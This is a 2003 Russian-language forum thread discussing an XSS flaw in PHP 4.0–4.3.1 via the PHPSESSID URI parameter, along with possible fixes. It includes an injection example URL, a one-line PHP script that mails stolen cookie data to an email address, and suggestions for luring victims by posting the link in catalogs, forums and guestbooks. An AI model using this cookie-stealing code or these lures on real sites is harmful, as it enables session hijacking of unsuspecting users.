Forum Webscript.Ru

Программирование => PHP => Тема начата: D1g174LM4n14c от 03 Июня 2003, 12:11:12

Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 03 Июня 2003, 12:11:12
Уязвимость обнаружена в языке сценария PHP. Удаленный пользователь может выполнить XSS нападение.

Проблема связанна с недостаточной фильтрацией PHPSESSID URI параметра. Атакующий может эксплуатировать эту уязвимость, используя специальную ссылку, содержащую произвольный код сценария, введенный в эту переменную. Уязвимость может использоваться для выполнения произвольного кода сценария в контексте уязвимого сайта. Пример:

http://www.example.org/index.php?PHPSESSID=">

Уязвимость обнаружена в PHP 4.0-4.3.1

_______________

И как этого раньше не заметили!
Ваши мнения?
Название: PHPSESSID URI parameter...
Отправлено: Mаster от 03 Июня 2003, 12:41:00
htmlspecialchars
можно так.
Название: PHPSESSID URI parameter...
Отправлено: Mаster от 03 Июня 2003, 12:47:16
Стоп. нет.
А зачем?
Что он сможет сделать своим яваскриптом.
Он же может лишь обработать пришедший ему код. К серверу он не попадет. Это надуманная проблема по моему.

Или я не прав?
Название: PHPSESSID URI parameter...
Отправлено: Макс от 03 Июня 2003, 12:57:05
насколько я понял, сессию можно испортить либо себе либо дать кому-то ссылку на сайт в виде
http://www.example.org/index.php?PHPSESSID=">

Вообщем ИМХО ничего страшного нет (просто небольшая недоработка ребят из php.net)
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 03 Июня 2003, 14:12:11
а если...



тогда все кукисы юзера, зашедшего по твоей ссылки - твои ;)
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 03 Июня 2003, 14:15:46
badscript.php

mail("my@email.com", "He-he", $_GET["data"], "headers");
Название: PHPSESSID URI parameter...
Отправлено: Mаster от 03 Июня 2003, 14:23:58
Тогда вот как эту проблему решить:

htmlspecialchars(сессия);
сравниваем с аналогичной htmlspecialchars("сессия") на сервере.

Вот и решение, ...

хотя при чем тут сессия, таким же помидором можно дать ссылку на любую печатающуюся в коде переменную и получить кукесы юзера для этого сайта, но правда если важная сессия сохраняется только в течении процесса это может сработать только если человек не закрыв браузер после администрирования зашел по этой ссылке ...

что же теперь htmlspecialchars\'ить все пременные? хм.. а чё! :)
Название: PHPSESSID URI parameter...
Отправлено: Макс от 03 Июня 2003, 14:35:28
D1g174LM4n14c
Цитировать
тогда все кукисы юзера, зашедшего по твоей ссылки - твои
поправка: все куки, установленные с хоста, на который ты сделал такую ссылку. А нормально написанные скрипты в куках ничего важного не хранят :)
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 03 Июня 2003, 21:20:28
Цитировать
Макс:
поправка: все куки, установленные с хоста, на который ты сделал такую ссылку.

ну да, конечно... я видимо не дописал. спасибо.



люди! при чем тут htmlspecialshars?
PHPSESSID встраивается независимо от твоего кода в URI на странице... (при определенных условиях)
Название: PHPSESSID URI parameter...
Отправлено: я... от 04 Июня 2003, 09:34:08
лечится только обновлением версии php... программно (как предлагают некоторые - анреал)...
имхо: ничего опасного в этом нет...
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 04 Июня 2003, 10:50:44
Цитировать
я...:
имхо: ничего опасного в этом нет...

но как раз через такие дыры ломаются сайты...
Название: PHPSESSID URI parameter...
Отправлено: Mаster от 04 Июня 2003, 14:03:43
1. Как вы заставите человека кликнуть по такой ссылке?
2. Тогда не надо тоскать URL по сайту а юзать куки для администрировалок.
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 04 Июня 2003, 15:11:42
Цитировать
Mаster:
1. Как вы заставите человека кликнуть по такой ссылке?

просто дать ему линк... кликнет - прокатило, не кликнет - ну так и будет... можно хитростью :)
Цитировать
Mаster:
2. Тогда не надо тоскать URL по сайту а юзать куки для администрировалок.

я не понял этого высказывания!?
Название: PHPSESSID URI parameter...
Отправлено: Макс от 04 Июня 2003, 16:24:29
Mаster
Цитировать
1. Как вы заставите человека кликнуть по такой ссылке?
зарегистрировать ссылку в каком-нибудь каталоге ресурсов или поисковике :)
Название: PHPSESSID URI parameter...
Отправлено: D1g174LM4n14c от 04 Июня 2003, 18:53:05
вот-вот... :) или оставить на форумах и гостевых под прикрытием красивого предложения :)